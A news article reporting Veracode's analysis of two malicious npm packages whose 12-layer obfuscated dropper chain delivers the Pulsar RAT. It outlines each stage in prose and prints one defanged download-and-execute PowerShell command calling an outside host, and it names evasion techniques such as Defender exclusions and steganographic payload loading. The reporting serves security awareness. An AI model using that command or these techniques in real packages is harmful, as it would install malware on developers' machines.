"Absurd" 12-step malware dropper spotted in malicious NPM packages

5 days ago 4

A mystery supply chain attacker went to extraordinary lengths to conceal a 12-stage attack chain hidden in two packages in the world's largest software registry, npm.

But ultimately they just dropped a fairly widely detected RAT.

(NPM is the hub for JavaScript code sharing, and is home to more than two million packages that are used by 17 million+ developers globally.)

The campaign was spotted by researchers at Veracode, who spotted two potentially malicious npm packages “solders” and “@mediawave/lib” that ultimately turned out to be hiding the Pulsar remote access trojan (RAT). The two packages have been downloaded ~380 times.

Describing it as “an extremely layered and complex attackchain”, Veracode’s team said the packages were published by an npm user with the name codewizguru who registered with npm on April 23 this year.

An initial payload in the chain "presented itself not as typical code, but as a dizzying wall of Unicode characters, predominantly Japanese Katakana and Hiragana," said Veracode. (A small sample of that is above)

These characters are used "as variable name identifiers" with a technique that "revolves around meticulously building primitive character sets through clever destructuring of string literals and object properties."

Later in the attack chain the malware reaches out to an external server and pulls a 3MB png file that looks like... this.

After decompilation Veracode found that a bit of code elsewhere in the attack chain is "grabbing the last two pixels from this image and then looping through some data contained elsewhere in it" to ultimately builds up in memory YET ANOTHER .NET DLL. that contains this User Account Control bypass technique in a bid to evade EDR tooling.

But that's just two steps in an absurdly complex chain.

Here, in brief (our synopsis of Veracode’s own simplified attack chain): 

  • Layer 1: A postinstall script in the package.json file, automatically executes on installation.
  • Layer 2: The initial lib.js payload is obfuscated using Japanese Hiragana and Katakana characters.
  • Layer 3: This Unicode script is not a direct payload, but a program designed to dynamically build primitives (e.g., 't', 'r', 'u', 'e') and reconstruct the Function constructor from scratch.
  • Layer 4: The Unicode layer dynamically assembles and executes another JavaScript payload that uses array shuffling and hex encoding for obfuscation
  • Layer 5: This script executes a PowerShell command (iwr firewall[.]tel | iex) to download and execute the next stage 
  • Layer 6: The script hosted at firewall[.]tel is itself obfuscated, with the payload encoded as arrays of binary strings.
  • Layer 7: These hide another PowerShell script that uses Base64 encoding to hide its commands which include adding Windows Defender exclusions and downloading a malicious batch file.
  • Layer 8: The downloaded output.bat (nearly 1MB in size) uses extensive obfuscation, setting hundreds of random environment variables and then concatenating them in a specific order.
  • Layer 9: The batch script's true payload is a Base64-encoded, 3DES-encrypted, and Gzip-compressed .NET DLL, which is reconstructed and loaded directly into memory.
  • Layer 10: This first .NET DLL is not the final payload. It reaches out to a 3MB PNG image file hosted online and uses steganography techniques to extract hidden data from the image.
  • Layer 11: The data extracted from the image is used to build a second .NET DLL in memory.
  • Layer 12: That is, and unleashes, the Pulsar RAT.

As application security specialist Veracode put it: "As the  journey from a single cryptic file to a full-blown RAT serves as a potent reminder that a simple npm install can expose an organization to extreme risk.

"The sheer depth of this attack underscores the critical need for automated, deep code analysis and continuous vigilance in protecting our development pipelines from attackers who are clearly willing to go to absurd lengths to succeed."

Responding to some questions from The Stack, the company noted that "we've seen packages like this used in social engineering campaigns or staged to be sneaked in as a dependency to another more legit looking package. So far, npm doesn't list any of these as a dependency yet".

Asked why the attacker might have put in all that effort just to drop a previously seen RAT, they added that this could indicate that:

 The actor isn't [actually] very sophisticated

  1. The campaign is in a testing phase
  2. The actor doesn't want their best tools burned in this phase of the campaign
  3. This isn't a campaign at all and maybe it is just a coding exercise
  4. Maybe they were too confident that no one would make it past all their layers of obfuscation before getting to the final payload that they just didn't put in the effort...

See also: Kaspersky burns 11,000-line “NSA” exploit: Calls 14-step iPhone attack “definitely the most sophisticated attack chain we have ever seen”

Read Entire Article